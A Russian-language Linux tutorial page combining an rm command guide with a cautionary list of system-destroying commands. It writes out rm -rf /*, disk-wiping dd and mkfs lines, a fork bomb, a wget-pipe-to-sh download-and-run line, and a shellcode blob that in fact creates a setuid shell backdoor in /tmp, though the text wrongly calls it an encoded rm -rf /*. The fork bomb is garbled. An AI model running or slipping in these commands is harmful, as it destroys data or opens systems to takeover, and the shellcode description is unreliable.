Удаление linux одной командой

Содержание
  1. Примеры команды RM Linux
  2. Удаление файла
  3. Интерактивное удаление файлов
  4. Удаление пустой директории
  5. Рекурсивное удаление директорий
  6. Удаление файлов и подкаталогов интерактивно
  7. Принудительное удаление файлов
  8. Проверка при удалении более 3 файлов или рекурсивном удаление
  9. Регулярные выражения в команде rm
  10. Удаление большого количества файлов
  11. Удаление файлов, начинающихся с дефиса (-)
  12. 10 команд Linux, способных уничтожить вашу систему
  13. Убийственная команда rm -rf /*
  14. /dev/sda – уничтожаем файловую систему!
  15. mv ~ /dev/null или как отправить все свои данные в бездну
  16. Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda
  17. Форк-бомба: простая, но опасная
  18. command > config_filename – перезаписываем важные файлы конфигурации
  19. Рецепт коктейля Молотова для корневых разделов – dd if=/dev/random of=/dev/sda
  20. chmod -R 777/ – команда для тех, кому нечего скрывать
  21. Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh
  22. Самое необычное напоследок – замаскированная rm -rf /*
  23. Подведем итоги

Примеры команды RM Linux

rm означает «remove», как следует из названия, команда rm используется для удаления файлов и каталогов в UNIX-подобной операционной системе. Если вы новичок в Linux, вы должны быть очень осторожны при запуске команды rm, потому что, как только вы удалите файлы, вы не сможете восстановить содержимое файлов и каталогов. Хотя есть некоторые инструменты и команды, с помощью которых можно восстановить удаленные файлы, но для этого вам нужны экспертные навыки.

В этом посте я продемонстрирую 10 примеров команд Linux rm. Ниже приведен основной синтаксис команды rm.

Удаление файла

Давайте удалим файл с именем «linux.log»

Удаление нескольких файлов одновременно.

Давайте предположим, что я хочу удалить четыре текстовых файла одновременно. Используйте приведенный ниже синтаксис.

$ rm file1.txt file2.txt file3.txt file4.txt

Интерактивное удаление файлов

Параметр ‘-i‘ спрашивает разрешение перед удалением, как показано ниже.

$ rm -i linuxstufff.log rm: remove regular file ‘linuxstufff.log’? y

Удаление пустой директории

Используйте опцию «-d» для удаления пустой папки.

$ ls -R appdata/ appdata/: $ rm -d appdata/

Вы также можете использовать команду ‘rmdir‘ для удаления пустых папок.

$ ls -R appdata/ appdata/: $ rmdir appdata

Рекурсивное удаление директорий

Команде rm вместе параметром ‘-r‘ рекурсивно удалит все файлы и подкаталогов в родительской директории.

$ ls -lR dbstore/ dbstore/: total 0 -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 26 23:59 file1.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 26 23:59 file2.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 26 23:59 file3.log drwxrwxr-x. 2 mordeniuss mordeniuss 6 Mar 26 23:59 service dbstore/service: total 0 $ rm -r dbstore/

Удаление файлов и подкаталогов интерактивно

Используйте опцию ‘-ri‘ в команде rm для интерактивного удаления файлов и подкаталогов.

$ ls -lR dbstore/ dbstore/: total 0 -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 00:02 file1.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 00:02 file2.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 00:02 file3.log drwxrwxr-x. 2 mordeniuss mordeniuss 6 Mar 27 00:02 service dbstore/service: total 0 [mordeniuss@cloud ~]$ rm -ri dbstore/ rm: descend into directory ‘dbstore/’? y rm: remove regular empty file ‘dbstore/file1.log’? y rm: remove regular empty file ‘dbstore/file2.log’? y rm: remove regular empty file ‘dbstore/file3.log’? y rm: remove directory ‘dbstore/service’? y rm: remove directory ‘dbstore/’? y

Принудительное удаление файлов

Параметр ‘-f‘ в команде rm принудительно удаляет файлы независимо от их прав доступа, а также игнорирует несуществующие файлы.

Читайте также:  Visual foxpro для linux

Давайте удалим защищенный от записи файл ‘tech.txt’

$ ls -l tech.txt -r--r--r--. 1 mordeniuss mordeniuss 0 Mar 27 00:23 tech.txt $ rm tech.txt rm: remove write-protected regular empty file ‘tech.txt’?

Как мы видим выше, когда мы пытаемся удалить файл, защищенный от записи, с помощью команды rm без опции ‘-f‘, выходит предупреждение.

Теперь попробуйте удалить файл, используя опцию ‘-f‘.

Также попробуем удалить несуществующий файл.

Примечание: опция -f не будет работать для каталогов, защищенных от записи.

Давайте рассмотрим пример, каталог ‘home/home/mordeniuss/location/protected‘ защищен от записи, а файл ‘db_stuff‘ внутри этого каталога нет.

$ ls -ld /home/mordeniuss/location/ drwxrwxr-x. 2 root root 29 Mar 27 00:43 /home/mordeniuss/location/ $ ls -l /home/mordeniuss/location/db_stuff -rw-rw-r--. 1 mordeniuss mordeniuss 17 Mar 27 00:43 /home/mordeniuss/location/db_stuff $ rm -f /home/mordeniuss/location/db_stuff rm: cannot remove ‘/home/mordeniuss/location/db_stuff’: Permission denied

Проверка при удалении более 3 файлов или рекурсивном удаление

Параметр ‘-I‘ в команде rm перед удалением более трех файлов или рекурсивным удалением запрашивает подтверждение.

Предположим, я хочу удалить все файлы журнала, которые начинаются с имени «app» в каталоге «linux_store».

$ ls -l linux_store/ total 0 -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:07 app1.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:07 app2.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:07 app3.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:07 app4.log -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:07 app5.log $ rm -I linux_store/app* rm: remove 5 arguments? y

Регулярные выражения в команде rm

Мы можем использовать регулярные выражения в команде rm, некоторые примеры показаны ниже:

Давайте удалим 5 файлов журнала, начиная с log1 до log5 в каталоге ‘linux_store‘.

$ pwd /home/mordeniuss/linux_store $ ll total 0 -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:15 log1.txt -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:15 log2.txt -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:15 log3.txt -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:15 log4.txt -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:15 log5.txt -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 01:15 log6.txt . $rm -f log.txt

Удалим все файлы в данной директории, которые заканчиваются на ‘.txt

Удалим все файлы в текущем каталоге, которые имеют три символа в расширение.

Удаление большого количества файлов

Если вы пытаетесь удалить большое количество файлов с помощью команды rm, вы получите сообщение об ошибке
Argument list too long‘ (Список аргументов слишком длинный)

В приведенном ниже примере я пытаюсь удалить все файлы (около 300001) каталога ‘/home/mordeniuss/linux_store‘ сразу.

$ ls -l | wc -l 300001 $ rm *.log -bash: /bin/rm: Argument list too long

Чтобы решить эту проблему, используйте команду:

$ find ~/linux_store/ -type f -exec rm <> \;

Удаление файлов, начинающихся с дефиса (-)

Давайте предположим, что у нас есть файл с именем ‘-store‘ в нашем текущем каталоге, и мы хотим удалить этот файл.

$ ll total 0 -rw-rw-r--. 1 mordeniuss mordeniuss 0 Mar 27 02:05 -store $ rm -store rm: invalid option -- 's' Try 'rm --help' for more information. [mordeniuss@cloud linux_store]$

Удалить этот файл можно с помощью команд ниже.

$ rm -- \ -store ИЛИ $ rm ./\ -store 

Источник

Читайте также:  Arch linux at work

10 команд Linux, способных уничтожить вашу систему

Как мы знаем, у пользователей Linux есть множество команд и инструментов, позволяющих гибко настраивать и контролировать каждый аспект ОС. Однако, с большой силой приходит большая ответственность – есть множество команд, способных нарушить обычную работу Linux и привести к печальным последствиям.
Поэтому давайте вместе разберемся, какие команды Linux не стоит вводить ни при каких обстоятельствах.

Убийственная команда rm -rf /*

  • rm – команда для удаления файлов/каталогов;
  • -r – флаг, необходимый для рекурсивного удаления всех файлов внутри папки;
  • -f – флаг, позволяющий выполнить операцию без спроса у пользователя.

Без root-прав эта команда не принесет никакого вреда. Даже sudo rm -rf / не создаст никаких проблем, так как у большей части популярных дистрибутивов есть защита от выполнения этой команды. За это отвечает функция —preserve-root.

Однако, если вы все же хотите выполнить эту команду, у вас есть два варианта:

После выполнения система начнет рекурсивно удалять вообще все файлы, начиная с корневой директории, пока система не зависнет с сообщением “Error deleting file”. После перезагрузки Linux обычно выдает ошибку grub-rescue.

/dev/sda – уничтожаем файловую систему!

Пользователи, знакомые с файловыми системами, наверняка знают что такое > /dev/sda. Эта строка запускает команду и посылает результат ее работы прямо на жесткий диск, записывая данные непосредственно на него, тем самым повреждая файловую систему. Вот пример:

Команда заменит раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

mv ~ /dev/null или как отправить все свои данные в бездну

Внутри каждой Linux-системы есть бездна. И эта бездна – /dev/null. Все, что окажется в этой области, будет удалено навсегда. Давайте разберем и эту команду:

  • mv – необходима для переноса файлов и каталогов в указанное место;
  • ~ – указатель на домашний каталог;
  • /dev/null – перемещает домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригинало в.

И хотя система не выдаст ошибку и будет работать исправно, после выполнения mv ~ /dev/null все данные пользователя бесследно исчезнут.

Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda

Команда, подобная format c: на Windows. Устроена она довольно просто:

  • mkfs.ex3 – создает новую файловую систему ext3 на устройстве;
  • /dev/sda – указывает на жесткий диск.
Читайте также:  Ruby on rails установить linux

Вот и все! Несложная команда оставляет пользователя без всех данных.

Форк-бомба: простая, но опасная

:()<:|:&>;: – комбинация из специальных символов, как будто выбранных наугад. Однако, она достаточно мощная, чтобы остановить работу работающей системы, просто заняв собой все доступные ресурсы.

Работает она предельно просто – создаёт функцию, запускающую еще два своих экземпляра, которые потом будут повторять этот процесс. И это будет продолжаться до тех пор, пока процесс не займет всю физическую память компьютера, заставив его зависнуть.

command > config_filenameперезаписываем важные файлы конфигурации

С command > config_filename все просто – она просто очищает содержимое конфигурационного файла и записывает в него новые данные. Таким образом можно легко повредить систему, случайно перезаписав важный конфигурационный файл.

Рецепт коктейля Молотова для корневых разделовdd if=/dev/random of=/dev/sda

Здесь все просто – команда забивает память компьютера мусором. А вот как она это делает:

  • dd – низкоуровневый инструмент для копирования;
  • if=/dev/random – задает /dev/random в качестве входа;
  • of=/dev/sda – выдает данные на жесткий диск.

Мощный компьютер способен выдержать эту команду, но вот слабые системы могут очень сильно пострадать.

chmod -R 777/ – команда для тех, кому нечего скрывать

chmod -R 777/ открывает доступ ко всем файлам, расположенным в корневом разделе. Это не очень хорошо, так как после выполнения команды любой пользователь права на чтение, запись и выполнение любых файлов.

Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh

Команда, позволяющая скачать и выполнить скрипт, взятый с сайта в интернете. В этом случае, если скрипт окажется вредоносным, то безопасность всей системы пользователя окажется под угрозой, ведь команда выполнит его с root-правами, даже не спрашивая разрешения на выполнение.

Самое необычное напоследок – замаскированная rm -rf /*

Linux позволяет запускать команды в терминале самыми разными способами. Один из них – ввод команды в шестнадцатеричном коде.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Несмотря на необычный внешний вид, эта команда является шестнадцатеричной rm -rf /*. Поэтому будьте осторожны, копируя необычные команды!

Подведем итоги

Помните, что именно вы отвечаете за последствия необдуманного выполнения опасных команд. Ведь работа UNIX заключается не в том, чтобы не дать вам прострелить себе ногу. А в том, что если вы решили это сделать – отправить пулю в вашу ногу самым эффективным способом, который у нее есть.

Это в той же степени применимо к Linux. Вы получаете полный контроль над своей системой и только вы решаете, что с ней делать.

Как удалить свой ЦИФРОВОЙ СЛЕД в интернете?

Подпишитесь на наш ТГ канал и обретите свою цифровую свободу.

Источник

Оцените статью
Adblock
detector